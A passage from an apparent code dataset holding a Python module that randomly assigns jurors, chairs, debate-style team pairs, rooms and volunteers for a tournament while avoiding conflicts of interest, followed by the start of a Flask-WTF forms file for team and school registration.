in tmp_random_jurors:\n jurors_available_3slots.append(juror_code)\n jurors_available_2slots.remove(juror_code)\n # randomly select from jurors_available_3slots\n tmp_random_jurors = secure_random.sample(jurors_available_3slots, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n jurors_available_3slots.remove(juror_code)\n juror_code_list_original.remove(juror_code)\n else:\n # give the jurors_available_3slots to jurors_available_2slots\n for juror_code in jurors_available_3slots:\n jurors_available_2slots.append(juror_code)\n # deal with the rest of the juror codes\n while len(juror_code_list_original) >= room_count:\n # randomly select\n tmp_random_jurors = secure_random.sample(juror_code_list_original, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n juror_code_list_original.remove(juror_code)\n # if juror_code_list_original has left over\n if len(juror_code_list_original) > 0:\n while len(juror_code_list_original) < room_count:\n juror_code_list_original.append(0)\n # randomly select\n tmp_random_jurors = secure_random.sample(juror_code_list_original, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n if juror_code > 0:\n room_plan[i]['jurors'].append(juror_code)\n juror_code_list_original.remove(juror_code)\n i += 1\n\n # end of assigning jurors to rooms\n for room in room_plan:\n # update juror_plan\n for juror_code in room['jurors']:\n juror_plan[juror_code - 1]['room_code'] = room['room_code']\n for coi_school in juror_plan[juror_code -1]['juror_info'][3]:\n room['room_cois'].append(coi_school[1])\n return [room_plan, juror_plan]\n\n# holds jurors[]: juror_code only, volunteers[]: volunteer_code only, room_sids: all the teams' school id from all rounds\ndef assign_chair_room(chair_list, rooms_for_each_round):\n # initial room_plan for each room\n room_plan = []\n for i in range(rooms_for_each_round):\n tmp_dict = {\n \"room_code\": i + 1,\n \"jurors\": [],\n \"room_name\": 'unassigned',\n \"room_id\": 0,\n \"room_number\": '',\n \"room_cois\": [],\n \"room_team_matches_codes\": [],\n \"room_team_matches_school_ids\": [],\n \"room_telec\": '',\n \"room_type\": '',\n \"room_details\": '',\n \"room_sids\": [],\n \"volunteers\": [],\n \"is_chair\": 'Yes'\n }\n room_plan.append(tmp_dict)\n\n chair_room_assignment = list()\n for chair in chair_list:\n temp = {\n \"juror_code\": 0,\n \"is_chair\": \"Yes\",\n \"juror_info\": chair,\n \"juror_cois\": [],\n \"room_code\": 0,\n \"room_id\": 0,\n \"room_number\": ''\n }\n\n for coi_school in chair[3]:\n temp['juror_cois'].append(coi_school[1])\n chair_room_assignment.append(temp)\n secure_random = secrets.SystemRandom() # creates a secure random object.\n temp_chair_room_assignment = secure_random.sample(chair_room_assignment, rooms_for_each_round)\n juror_plan = list()\n i = 0\n for chair in temp_chair_room_assignment:\n i = i + 1\n chair['juror_code'] = i\n chair['room_code'] = i\n # add chair to juror_plan\n juror_plan.append(chair)\n # add juror_code to the assigned room\n room_plan[i - 1]['jurors'].append(i)\n # add juror's cois to the assigned room\n for coi_school in chair['juror_info'][3]:\n room_plan[i - 1]['room_cois'].append(coi_school[1])\n\n return [juror_plan, room_plan]\n\n\n\"\"\"\n# This function is to randomly assign each team pair at each round to each room\n# rules:\n# - There must not have conflict of interest for each room for each team pair at each round\n# - There might be one team assigned to the same room at different round, but this function tried best to\n# minimize the likelyhood, but still can't avoid 100%\n# - it is allowed and encourage to have more rooms than the total number of team pairs at each round, which helps to meet the above requirements\n# the return type of this function is a list with two elements: [round_plan, room_plan]\n# - room_plan is also the input parameter and was initiated in function:\n# - round_plan is a list of rounds, the element in the round is a dictionary that is initiated as the following:\n {\n \"round_code\": index + 1,\n \"round_team_matches_code\": [], # a list of team pair codes for each round\n \"round_team_matches_school_ids\": [], # a list of school ids of the team pair for each round\n \"round_team_matches_room_codes\": [], # a list of room codes for each round\n }\n\"\"\"\ndef assign_room_to_team(rounds_total_number, team_plan, teams_total_number , rooms_for_each_round, room_plan):\n # plan round\n # initial each round\n round_plan = []\n for i in range(rounds_total_number):\n tmp_dict = {\n \"round_code\": i + 1,\n \"round_team_matches_code\": [],\n \"round_team_matches_school_ids\": [],\n \"round_team_matches_room_codes\": []\n }\n round_plan.append(tmp_dict)\n # add team to each round\n for round in round_plan:\n tmp_current_round_code = round['round_code']\n for team in team_plan:\n tmp_team_a = team['team_code']\n tmp_team_b = team['opponents'][tmp_current_round_code - 1]\n tmp_random_pair = [tmp_team_a, tmp_team_b]\n\n # get all the possible combinations of the team a and team b\n tmp_iter_result = itertools.permutations(tmp_random_pair)\n tmp_random_pair_accepted = False\n for each in tmp_iter_result:\n if each in round['round_team_matches_code']:\n tmp_random_pair_accepted = False\n break\n else:\n tmp_random_pair_accepted = True\n if tmp_random_pair_accepted:\n round['round_team_matches_code'].append((tmp_team_a, tmp_team_b))\n tmp_cois = [team_plan[tmp_team_a - 1]['school_id'], team_plan[tmp_team_b - 1]['school_id']]\n round['round_team_matches_school_ids'].append(tmp_cois)\n\n # assign room_code to each team_matches of each round in round_plan\n secure_random = secrets.SystemRandom() # creates a secure random object.\n give_up = False\n retry_round_times = 0\n max_retry_round_times = 10\n show_stopper = False\n max_try_times = 100 * teams_total_number * rooms_for_each_round\n for round in round_plan:\n tmp_try_times = 0\n tmp_random_room_code = 0\n matched_rooms_available = False\n current_round_room_code_assignment = []\n while tmp_try_times < max_try_times:\n tmp_round_team_matches_room_code = []\n tmp_random_room_code = 0\n tmp_try_times += 1\n # initial current_round_room_assignment\n current_round_room_code_assignment = []\n i = 0\n for school_ids_at_team_pair in round['round_team_matches_school_ids']:\n # reset all the original room_codes to matched_rooms\n matched_rooms = []\n for r in range(rooms_for_each_round):\n if r + 1 not in current_round_room_code_assignment:\n matched_rooms.append(r + 1)\n # check if there are room(s) fits current team_pair (two school ids)\n matched_rooms_available = False\n for team_school_id in school_ids_at_team_pair:\n for room in room_plan:\n if room['room_code'] not in current_round_room_code_assignment:\n if team_school_id in room['room_cois']:\n if len(matched_rooms) > 0:\n if room['room_code'] in matched_rooms:\n matched_rooms.remove(room['room_code'])\n else:\n # no matched room for current team pair\n show_stopper = True\n break\n if show_stopper:\n break\n i += 1\n if not show_stopper and len(matched_rooms) > 0:\n tmp_random_room_code = secure_random.sample(matched_rooms, 1)\n selected_room_codes_for_current_pair = []\n if round['round_code'] > 1:\n try:\n for round_done in range(round['round_code'] - 1):\n tmp_round_done_room_code = round_plan[round_done]['round_team_matches_room_codes'][\n i - 1]\n selected_room_codes_for_current_pair.append(tmp_round_done_room_code)\n tmp_rooms_for_selection = []\n for room_code in matched_rooms:\n if room_code not in selected_room_codes_for_current_pair:\n tmp_rooms_for_selection.append(room_code)\n if len(tmp_rooms_for_selection) > 0:\n tmp_random_room_code = secure_random.sample(tmp_rooms_for_selection, 1)\n else:\n if tmp_try_times == max_try_times:\n tmp_random_room_code = secure_random.sample(matched_rooms, 1)\n else:\n show_stopper = True\n break\n except:\n if tmp_try_times == max_try_times:\n tmp_random_room_code = secure_random.sample(matched_rooms, 1)\n else:\n show_stopper = True\n break\n # tmp_round_team_matches_room_code.append(tmp_random_room_code)\n current_round_room_code_assignment.append(tmp_random_room_code[0])\n else:\n # can't find matched room for current team_pair\n # re-do\n break\n if not show_stopper and len(current_round_room_code_assignment) > 0:\n break\n else:\n current_round_room_code_assignment = []\n if tmp_try_times < max_try_times:\n show_stopper = False\n if not show_stopper and len(current_round_room_code_assignment) > 0:\n for room_code in current_round_room_code_assignment:\n round['round_team_matches_room_codes'].append(room_code)\n else:\n break\n return [round_plan, room_plan]\n\n\n\"\"\"\n# This function is to randomly assign each team pair at each round to each room with chair already assigned\n# rules:\n# - There must not have conflict of interest for each room for each team pair at each round, including chair\n# - There might be one team assigned to the same room at different round, but this function tried best to\n# minimize the likelyhood, but still can't avoid 100%\n# - it is not allowed to have more rooms than the total number of team pairs at each round\n# the return type of this function is a list with two elements: [round_plan, room_plan]\n# - room_plan is also the input parameter and was initiated in function: assign_chair_room\n# - round_plan is a list of rounds, the element in the round is a dictionary that is initiated as the following:\n {\n \"round_code\": index + 1,\n \"round_team_matches_code\": [], # a list of team pair codes for each round\n \"round_team_matches_school_ids\": [], # a list of school ids of the team pair for each round\n \"round_team_matches_room_codes\": [], # a list of room codes for each round\n }\n\"\"\"\ndef assign_room_to_team_wt_chair(rounds_total_number, team_plan, teams_total_number, rooms_for_each_round, chairs_room_assignment, max_repeated_rooms, open_last_round):\n juror_plan = chairs_room_assignment[0]\n room_plan = chairs_room_assignment[1]\n # plan round\n # initial each round\n round_plan = []\n for i in range(rounds_total_number):\n tmp_dict = {\n \"round_code\": i + 1,\n \"round_team_matches_code\": [],\n \"round_team_matches_school_ids\": [],\n \"round_team_matches_room_codes\": []\n }\n round_plan.append(tmp_dict)\n # add team to each round => round_plan\n for round in round_plan:\n tmp_current_round_code = round['round_code']\n for team in team_plan:\n tmp_team_a = team['team_code']\n tmp_team_b = team['opponents'][tmp_current_round_code - 1]\n tmp_random_pair = [tmp_team_a, tmp_team_b]\n\n # get all the possible combinations of the team a and team b\n tmp_iter_result = itertools.permutations(tmp_random_pair)\n tmp_random_pair_accepted = False\n for each in tmp_iter_result:\n if each in round['round_team_matches_code']:\n tmp_random_pair_accepted = False\n break\n else:\n tmp_random_pair_accepted = True\n if tmp_random_pair_accepted:\n round['round_team_matches_code'].append((tmp_team_a, tmp_team_b))\n tmp_cois = [team_plan[tmp_team_a - 1]['school_id'], team_plan[tmp_team_b - 1]['school_id']]\n round['round_team_matches_school_ids'].append(tmp_cois)\n\n # assign room_code to each team_matches of each round in round_plan\n secure_random = secrets.SystemRandom() # creates a secure random object.\n finding_room_tried_times = 0\n finding_room_max_try_times = 10 * teams_total_number * rooms_for_each_round\n finding_room = False\n team_round_room_codes = []\n while finding_room_tried_times < finding_room_max_try_times:\n finding_room_tried_times += 1\n # start of one while loop here\n team_round_room_codes = []\n for team in team_plan:\n tmp_item = [team['team_code'], []]\n team_round_room_codes.append(tmp_item)\n # reset room_code in round_plan to 0\n for round in round_plan:\n round['round_team_matches_room_codes'] = []\n # start to loop in the round_plan\n for round in round_plan:\n current_round_code = round['round_code']\n current_round_tried_times = 0\n current_round_max_try_times = 10\n team_current_round_room_code = []\n for team in team_plan:\n tmp_item2 = [team['team_code'], 0]\n team_current_round_room_code.append(tmp_item2)\n finding_room = False\n while current_round_tried_times < current_round_max_try_times:\n current_round_tried_times += 1\n # find room for current round - start one loop\n current_round_assigned_room_codes = []\n pair_index = -1\n for pair in round['round_team_matches_code']:\n pair_index += 1\n # find room for current pair\n tmp_available_room_codes = []\n for i in range(rooms_for_each_round):\n tmp_available_room_codes.append(i + 1)\n # remove the room has been assigned to other teams at current round\n for room_code in current_round_assigned_room_codes:\n tmp_available_room_codes.remove(room_code)\n current_pair_school_ids = round['round_team_matches_school_ids'][pair_index]\n # check if there is a room that has not conflict wiht current chair\n tmp_ok_room_for_current_pair = []\n for room_code in tmp_available_room_codes:\n if (current_pair_school_ids[0] not in room_plan[room_code-1]['room_cois']) and (current_pair_school_ids[1] not in room_plan[room_code-1]['room_cois']):\n # this room is ok for current pair so far, continue to look at next room\n tmp_ok_room_for_current_pair.append(room_code)\n #tmp_available_room_codes.remove(room['room_code'])\n else:\n # has conflict with the room, look for next available room\n pass\n # check current pair finding room results\n if len(tmp_ok_room_for_current_pair) > 0:\n # there are room(s) at current round is not conflict with current pair\n # continue to check if the teams in the current pair have been the ok room(s) in previous round, if yes, remove it\n if current_round_code > (rounds_total_number - max_repeated_rooms) or pair_index > (teams_total_number/2 -open_last_round):\n # too hard to find not-repeated room, give up\n pass\n else:\n # check current pair - 1st team's previous assigned rooms\n for room_code in team_round_room_codes[pair[0]-1][1]: #team_round_room_codes[i][1]\n if room_code in tmp_ok_room_for_current_pair:\n tmp_ok_room_for_current_pair.remove(room_code)\n for room_code in team_round_room_codes[pair[1]-1][1]:\n if room_code in tmp_ok_room_for_current_pair:\n tmp_ok_room_for_current_pair.remove(room_code)\n # end of check, select one of room for current pair current round if success otherwise re-do this round\n if len(tmp_ok_room_for_current_pair) > 0:\n # final good ending for current pair\n #current_round_tried_times += 1\n finding_room = True\n # found room for current pair, randomly select one to the the current pair\n tmp_random_pair_room_code = secure_random.sample(tmp_ok_room_for_current_pair, 1)\n current_pair_room_code = 0\n for item in tmp_random_pair_room_code:\n current_pair_room_code = item\n current_round_assigned_room_codes.append(current_pair_room_code)\n team_current_round_room_code[pair[0]-1][1]=current_pair_room_code\n team_current_round_room_code[pair[1]-1][1]=current_pair_room_code\n break\n else:\n # can't find room for current pair, this round is failed, re-do this round\n finding_room = False\n break\n else:\n # there is NOT room at current round is not conflict with current pair\n # current round failed, should re-do this round\n finding_room = False\n break\n # find room for current round - end one loop\n if finding_room:\n # final good ending for the current round\n # add curent round's room assignment to round plan\n round['round_team_matches_room_codes'] = current_round_assigned_room_codes\n i = -1\n for team in team_current_round_room_code:\n i += 1\n team_round_room_codes[i][1].append(team[1])\n break\n else:\n #current_round_tried_times += 1\n # failed in this round, continue to try\n finding_room = False\n\n if finding_room:\n # continue next round\n pass\n else:\n # current round is failed, stop the this while loop, try another while loop\n break\n # end of one while loop here\n if finding_room:\n break\n else:\n finding_room_tried_times += 1\n return [round_plan, room_plan, finding_room, team_round_room_codes]\n\n\n\"\"\"\n# This function is to do final cleanup for the planning\n# rules:\n# - fill the team pair codes to room_plan\n# --- use the team pair codes in the round_plan\n# --- the sequence of the team_pair_codes are the number of the teams at each round\n# --- use the team_code - 1 as the team index to find the according team record in the team_plan\n# --- use append to add data, replace function will cause the mess up\n# - fill the room code to each team at each round in the team_plan\n# --- the same as above\n# - assign real room number to room_code in room_plan\n# --- get the list of active PM rooms and randomly select the required number of rooms\n# --- if available active PM room is less than required rooms, then add vacancy as placeholder\n# --- else: randomly select the required number of active PM rooms\n# --- shuffle the selected room list and assign to room_code\n\"\"\"\ndef tournament_plan_cleanup(round_plan, room_plan, team_plan, current_event_rooms_usage1):\n # clean the data\n for round in round_plan:\n for i in range(len(round['round_team_matches_code'])):\n tmp_team_pair_codes_me = round['round_team_matches_code'][i]\n tmp_team_pair_school_ids = round['round_team_matches_school_ids'][i]\n tmp_team_pair_room_code = round['round_team_matches_room_codes'][i]\n room_plan[tmp_team_pair_room_code - 1]['room_team_matches_codes'].append(tmp_team_pair_codes_me)\n room_plan[tmp_team_pair_room_code - 1]['room_team_matches_school_ids'].append(tmp_team_pair_school_ids)\n # fill room_sids\n if tmp_team_pair_school_ids[0] not in room_plan[tmp_team_pair_room_code - 1]['room_sids']:\n room_plan[tmp_team_pair_room_code - 1]['room_sids'].append(tmp_team_pair_school_ids[0])\n if tmp_team_pair_school_ids[1] not in room_plan[tmp_team_pair_room_code - 1]['room_sids']:\n room_plan[tmp_team_pair_room_code - 1]['room_sids'].append(tmp_team_pair_school_ids[1])\n # add None to remaining room for the current round\n for room in room_plan:\n if len(room['room_team_matches_codes']) < round['round_code']:\n room['room_team_matches_codes'].append(None)\n room['room_team_matches_school_ids'].append(None)\n for round in round_plan:\n round_code = round['round_code']\n round_index = round_code - 1\n team_pair_index = -1\n for team_pair in round['round_team_matches_code']:\n team_pair_index += 1\n current_room_code = round['round_team_matches_room_codes'][team_pair_index]\n if team_pair is not None:\n current_team_a_code = team_pair[0]\n current_team_b_code = team_pair[1]\n team_plan[current_team_a_code-1]['room_codes'].append(current_room_code)\n team_plan[current_team_b_code - 1]['room_codes'].append(current_room_code)\n\n # initial event_room_list\n current_event_room_list = []\n secure_random = secrets.SystemRandom() # creates a secure random object.\n for room in current_event_rooms_usage1:\n current_event_room_list.append(room)\n\n current_event_rooms_total = len(current_event_room_list)\n current_event_rooms_required = len(room_plan)\n current_event_room_list_usg1 = []\n if current_event_rooms_total < current_event_rooms_required:\n i = current_event_rooms_total\n while i < current_event_rooms_required:\n i = i+1\n current_event_room_list.append(None)\n current_event_room_list_usg1 = current_event_room_list\n else:\n tmp_random_rooms = secure_random.sample(current_event_room_list, current_event_rooms_required)\n for room in tmp_random_rooms:\n current_event_room_list_usg1.append(room)\n\n shuffle(current_event_room_list_usg1)\n for room in room_plan:\n room_index = room['room_code'] - 1\n if current_event_room_list_usg1[room_index] is not None:\n room['room_number'] = current_event_room_list_usg1[room_index][2]\n room['room_id'] = current_event_room_list_usg1[room_index][0]\n room['room_telec'] = current_event_room_list_usg1[room_index][6]\n room['room_type'] = current_event_room_list_usg1[room_index][8]\n room['room_details'] = current_event_room_list_usg1[room_index][9]\n return [round_plan, room_plan, team_plan]\n\n\ndef assign_volunteer(data_entrier_options, volunteer_list, room_plan):\n # randomly select qualified volunteer and assign to each room for data entry\n room_count = len(room_plan)\n secure_random = secrets.SystemRandom() # creates a secure random object.\n data_entrier_options_list = list()\n for row in data_entrier_options:\n data_entrier_options_list.append(row)\n tmp_random_data_entriers = secure_random.sample(data_entrier_options_list, room_count)\n volunteer_plan = list()\n volunteer_selected_ppant_id_list = list()\n i = 0\n for data_entrier in tmp_random_data_entriers:\n tmp_dict = {\n \"mvolunteer_code\": i + 1,\n \"cois\": [],\n \"volunteer_name\": data_entrier[5] + \" \" + data_entrier[6],\n \"ppant_id\": data_entrier[1],\n \"ppant_subtype\": 9,\n \"timeslots\": data_entrier[9] + \" \" + data_entrier[10] + \" \" + data_entrier[11] + \" \" + data_entrier[12],\n \"mroom_code\": i + 1,\n \"data_entry\": 'Yes'\n }\n i += 1\n volunteer_selected_ppant_id_list.append(data_entrier[1])\n volunteer_plan.append(tmp_dict)\n\n # assign the rest of the volunteers to the room that without conflict of interests\n tmp_available_mroom_codes = list()\n current_mvolunteer_code = len(volunteer_plan)\n for volunteer in volunteer_list:\n current_ppant_id = volunteer[0]\n if current_ppant_id not in volunteer_selected_ppant_id_list:\n current_mvolunteer_code += 1\n current_timeslots = volunteer[11] + volunteer[12] + volunteer[13] + volunteer[14]\n current_volunteer_name = volunteer[5]\n current_cois = list()\n if volunteer[1] == 1:\n # add cois\n for coi_school in volunteer[3]:\n tmp_coi_school_id = coi_school[1]\n current_cois.append(tmp_coi_school_id)\n\n # generate the mroom codes for selection\n if tmp_available_mroom_codes is None or len(tmp_available_mroom_codes) < 1:\n tmp_available_mroom_codes = list()\n for i in range(room_count):\n tmp_available_mroom_codes.append(i + 1)\n\n # find mroom for current volunteer\n current_mroom_code = 0\n if current_cois is not None and len(current_cois)>0:\n # has cois\n tmp_coi_mroom_codes = list()\n # find the mrooms that has conflict\n for coi_school_id in current_cois:\n # check the mroom that without conflict of interest with current volunteer\n for room in room_plan:\n if coi_school_id in room['room_cois']:\n tmp_coi_mroom_codes.append(coi_school_id)\n # filter the mrooms that has conflict\n filter_result = itertools.filterfalse(lambda x: x in tmp_coi_mroom_codes, tmp_available_mroom_codes)\n if filter_result is not None:\n tmp_filter_result_list = list()\n for row in filter_result:\n tmp_filter_result_list.append(row)\n # has room available, randomly select on mroom for current volunteer\n tmp_random_mroom_codes = secure_random.sample(tmp_filter_result_list, 1)\n for item in tmp_random_mroom_codes:\n current_mroom_code = item\n tmp_available_mroom_codes.remove(current_mroom_code)\n break\n else:\n # no room available, leave it 0 and assign mroom later\n current_mroom_code = 0\n else:\n # this volunteer has no coi, can random select one room from available mroom codes\n tmp_random_mroom_codes = secure_random.sample(tmp_available_mroom_codes, 1)\n for item in tmp_random_mroom_codes:\n current_mroom_code = item\n tmp_available_mroom_codes.remove(current_mroom_code)\n break\n\n # assemble the current mvolunteer\n tmp_dict2 = {\n \"mvolunteer_code\": current_mvolunteer_code,\n \"cois\": current_cois,\n \"volunteer_name\": current_volunteer_name,\n \"ppant_id\": current_ppant_id,\n \"ppant_subtype\": 8,\n \"timeslots\": current_timeslots,\n \"mroom_code\": current_mroom_code,\n \"data_entry\": 'No'\n }\n # add current volunteer to volunteer plan\n volunteer_plan.append(tmp_dict2)\n else:\n # no need to add this volunteer\n pass\n\n # assign mroom to those didn't get assigned in the previous loop\n for volunteer in volunteer_plan:\n if volunteer['mroom_code'] == 0:\n # assign whatever room number that fits this volunteer\n # generate the mroom codes for selection\n if tmp_available_mroom_codes is None or len(tmp_available_mroom_codes) < 1:\n tmp_available_mroom_codes = list()\n for i in range(room_count):\n tmp_available_mroom_codes.append(i + 1)\n # find the mrooms that has conflict\n tmp_mroom_codes_has_conflict = list()\n for coi_school_id in volunteer['cois']:\n for room in room_plan:\n if coi_school_id in room['room_cois']:\n tmp_mroom_codes_has_conflict.append(room['room_code'])\n break\n # filter the mrooms with conflict\n filter_result = itertools.filterfalse(lambda x: x in tmp_mroom_codes_has_conflict, tmp_available_mroom_codes)\n tmp_filter_result_list = list()\n for row in filter_result:\n tmp_filter_result_list.append(row)\n\n # randomly select one mroom to the current volunteer\n tmp_random_mroom_codes = secure_random.sample(tmp_filter_result_list, 1)\n for item in tmp_random_mroom_codes:\n # assigne the mroom code to the current volunteer\n volunteer['mroom_code'] = item\n break\n return volunteer_plan\n\n\n# this is new\ndef assign_volunteers(data_entrier_options, volunteer_list, room_plan):\n # randomly select qualified volunteer and assign to each room for data entry\n room_count = len(room_plan)\n secure_random = secrets.SystemRandom() # creates a secure random object.\n data_entrier_options_list = list()\n for row in data_entrier_options:\n data_entrier_options_list.append(row)\n tmp_random_data_entriers = secure_random.sample(data_entrier_options_list, room_count)\n volunteer_plan = list()\n volunteer_selected_ppant_id_list = list()\n i = 0\n for data_entrier in tmp_random_data_entriers:\n tmp_dict = {\n \"mvolunteer_code\": i + 1,\n \"cois\": [],\n \"volunteer_name\": data_entrier[5] + \" \" + data_entrier[6],\n \"ppant_id\": data_entrier[1],\n \"ppant_subtype\": 9,\n \"timeslots\": data_entrier[9] + \" \" + data_entrier[10] + \" \" + data_entrier[11] + \" \" + data_entrier[12],\n \"mroom_code\": i + 1,\n \"data_entry\": 'Yes'\n }\n i += 1\n volunteer_selected_ppant_id_list.append(data_entrier[1])\n volunteer_plan.append(tmp_dict)\n\n # assign the rest of the volunteers to each room\n tried_times = 0\n max_try_times = len(volunteer_list)*room_count*len(volunteer_list)\n while tried_times <= max_try_times:\n for i in range(room_count):\n room_code = i + 1\n # get a volunteer who has not conflict with current room\n for volunteer in volunteer_list:\n tried_times += 1\n current_ppant_id = volunteer[0]\n current_mvolunteer_code = len(volunteer_plan) + 1\n current_cois = []\n current_volunteer_name =volunteer[5]\n current_timeslots = volunteer[11] + volunteer[12] + volunteer[13] + volunteer[14]\n current_mroom_code = room_code\n if current_ppant_id not in volunteer_selected_ppant_id_list:\n # check cois\n if volunteer[1] == 1:\n # has cois\n for coi_school in volunteer[3]:\n tmp_coi_school_id = coi_school[1]\n current_cois.append(tmp_coi_school_id)\n\n # check if fit this room\n current_volunteer_fit_current_room = True\n for school_id in room_plan[room_code-1]['room_sids']:\n if school_id in current_cois:\n # not fit\n current_volunteer_fit_current_room = False\n break\n if current_volunteer_fit_current_room:\n # fit this room\n # assemble the current mvolunteer\n tmp_dict2 = {\n \"mvolunteer_code\": current_mvolunteer_code,\n \"cois\": current_cois,\n \"volunteer_name\": current_volunteer_name,\n \"ppant_id\": current_ppant_id,\n \"ppant_subtype\": 8,\n \"timeslots\": current_timeslots,\n \"mroom_code\": current_mroom_code,\n \"data_entry\": 'No'\n }\n # add current volunteer to volunteer plan\n volunteer_plan.append(tmp_dict2)\n volunteer_selected_ppant_id_list.append(current_ppant_id)\n break\n else:\n # no cois - assign this volunteer to this room,\n # assemble the current mvolunteer\n tmp_dict2 = {\n \"mvolunteer_code\": current_mvolunteer_code,\n \"cois\": current_cois,\n \"volunteer_name\": current_volunteer_name,\n \"ppant_id\": current_ppant_id,\n \"ppant_subtype\": 8,\n \"timeslots\": current_timeslots,\n \"mroom_code\": current_mroom_code,\n \"data_entry\": 'No'\n }\n # add current volunteer to volunteer plan\n volunteer_plan.append(tmp_dict2)\n volunteer_selected_ppant_id_list.append(current_ppant_id)\n break\n if len(volunteer_plan) == len(volunteer_list):\n break\n\n not_assigned_volunteers = []\n if len(volunteer_selected_ppant_id_list) < len(volunteer_list):\n for volunteer in volunteer_list:\n if volunteer[0] in volunteer_selected_ppant_id_list:\n pass\n else:\n tmp_n_volunteer = (volunteer[0], volunteer[5], volunteer[3])\n not_assigned_volunteers.append(tmp_n_volunteer)\n\n return (volunteer_plan, not_assigned_volunteers)\n\n\ndef assign_moved_jurors(moved_juror_list, round_plan, rooms_for_each_round):\n # initial moved_juror_plan\n moved_juror_room_assignment = list()\n juror_code_index = rooms_for_each_round - 1\n for juror in moved_juror_list:\n juror_code_index += 1\n tmp = {\n \"juror_code\": juror_code_index + 1,\n \"is_chair\": \"No\",\n \"juror_info\": juror,\n \"juror_cois\": [],\n \"round_room_codes\": [],\n \"room_id\": 0,\n \"room_number\": ''\n }\n for i in range(len(round_plan)):\n tmp['round_room_codes'].append(0)\n for coi_school in juror[3]:\n tmp['juror_cois'].append(coi_school[1])\n moved_juror_room_assignment.append(tmp)\n\n moved_juror_plan = []\n for round in round_plan:\n current_round_code = round['round_code']\n\n current_round_assigned_juror_codes = []\n while True:\n pair_index = -1\n for room_code in round['round_team_matches_room_codes']:\n pair_index += 1\n # found one moved juror for current round and current room\n current_round_room_sids = round['round_team_matches_school_ids'][pair_index]\n for juror in moved_juror_room_assignment:\n # each round: each available juror only can be assgined once\n if juror['juror_code'] not in current_round_assigned_juror_codes:\n # check if this guy is available for current round index 11 - round 1, 12 - round 2&3, 13 - round 4&5, 14 - final round\n juror_available = False\n if current_round_code == 1:\n if juror['juror_info'][11] == \"Yes\":\n juror_available = True\n elif current_round_code == 2 or current_round_code == 3:\n if juror['juror_info'][12] == \"Yes\":\n juror_available = True\n elif current_round_code == 4 or current_round_code == 5:\n if juror['juror_info'][13] == \"Yes\":\n juror_available = True\n\n if juror_available:\n if juror['juror_code'] not in current_round_assigned_juror_codes:\n if (current_round_room_sids[0] not in juror['juror_cois']) and (current_round_room_sids[1] not in juror['juror_cois']):\n # this juror is ok to stay at this room,\n tmp_tuple = (current_round_code, room_code, juror['juror_code'])\n moved_juror_plan.append(tmp_tuple)\n current_round_assigned_juror_codes.append(juror['juror_code'])\n break\n else:\n pass\n else:\n current_round_assigned_juror_codes.append(juror['juror_code'])\n\n if len(current_round_assigned_juror_codes) >= len(moved_juror_list):\n break\n\n # finished the assignment to the moved jurors, now to fill the plan\n for item in moved_juror_plan:\n round_code = item[0]\n room_code = item[1]\n juror_code = item[2]\n moved_juror_room_assignment[juror_code-1-rooms_for_each_round]['round_room_codes'][round_code-1] = room_code\n return moved_juror_room_assignment\n", "id": "1478794", "language": "Python", "matching_score": 1.745544672012329, "max_stars_count": 0, "path": "app/utilities/app_utilities.py" }, { "content": "# Flask-WTF v0.13 renamed Flask to FlaskForm\ntry:\n from flask_wtf import FlaskForm # Try Flask-WTF v0.13+\nexcept ImportError:\n from flask_wtf import Form as FlaskForm # Fallback to Flask-WTF v0.12 or older\n\nfrom wtforms import BooleanField, HiddenField, PasswordField, SubmitField, StringField, IntegerField, SelectField, \\\n DateField, RadioField, FieldList, FormField\nfrom wtforms import validators, ValidationError\n\n\n# ***********\n# ** Forms for the application **\n# ***********\n\nclass CreateTeamForm(FlaskForm):\n school_id = SelectField('Team School', default=None)\n team_name = StringField('Team Name', validators=[validators.DataRequired('Team name is required')])\n school_name = StringField('School Name')\n address = StringField('Address')\n postal_code = StringField('Postal Code')\n city = StringField('City')\n province = SelectField('province',\n choices=[('AB', 'Alberta'), ('BC', 'British Columbia'), ('MB', 'Manitoba'), ('NB', 'New Brunswick'),\n ('NL', 'Newfoundland and Labrador'), ('NS', 'Nova Scotia'), ('ON', 'Ontario'), ('NT', 'Northwest Territories'),\n ('NU', 'Nunavut'), ('PE', 'Prince Edward Island'), ('QC', 'Quebec'), ('SK', 'Saskatchewan'), ('YT', 'Yukon')]\n )\n teleconferencing = RadioField('Are you teleconferencing?',\n choices=[('Yes', 'Yes'), ('No', 'No')], default='No'\n )\n submit = SubmitField('Save')\n\n def validate(self):\n #school_id = int(self.school_id.data)\n if self.school_id.data is None or len(self.school_id.data)<1:\n error_count = 0\n if self.school_name.data is None or len(self.school_name.data)<1:\n # school name is required\n self.school_name.errors = (\" \")\n error_count = error_count + 1\n if self.address.data is None or len(self.address.data)<1:\n # school name is required\n self.address.errors = (\" \")\n error_count = error_count + 1\n if self.city.data is None or len(self.city.data)<1:\n # school name is required\n self.city.errors = (\" \")\n error_count = error_count + 1\n if self.province.data is None or len(self.province.data)<1:\n # school name is required\n self.province.errors = (\" \")\n error_count = error_count + 1\n if self.postal_code.data is None or len(self.postal_code.data)<1:\n # school name is required\n self.postal_code.errors = (\" \")\n error_count = error_count + 1\n\n if error_count > 0:\n return False\n else:\n return True\n else:\n return True\n\n\nclass SchoolForm(FlaskForm):\n school_id = IntegerField('School ID', default=None)\n school_name = StringField('School Name', validators=[validators.DataRequired('Team name is required')])\n address = StringField('Address', validators=[validators.DataRequired('Team name is required')])\n postal_code = StringField('Postal Code', validators=[validators.DataRequired('Team name is required')])\n city = StringField('City', validators=[validators.DataRequired('Team name is required')])\n province = SelectField('province',\n choices=[('AB', 'Alberta'), ('BC', 'British Columbia'), ('MB', 'Manitoba'), ('NB', 'New Brunswick'),\n ('NL', 'Newfoundland and Labrador'), ('NS', 'Nova Scotia'), ('ON', 'Ontario'), ('NT', 'Northwest Territories'),\n ('NU', 'Nunavut'), ('PE', 'Prince Edward Island'), ('QC', 'Quebec'), ('SK', 'Saskatchewan'), ('YT', 'Yukon')]\n )\n country = SelectField('Country', choices=[('CA', 'Canada')])\n school_status = SelectField('School Validation Status',\n choices=[('Pending', 'Waiting for Validation'), ('Valid', 'Valid'), ('Invalid', 'Invalid'), ('Unsure', 'Not Sure')]\n )\n submit = SubmitField('Save')\n\n def validate(self):\n error_count = 0\n #school_id = int(self.school_id.data)\n if self.school_id.data is None or self.school_id.data<1:\n # school name is required\n self.school_id.errors = 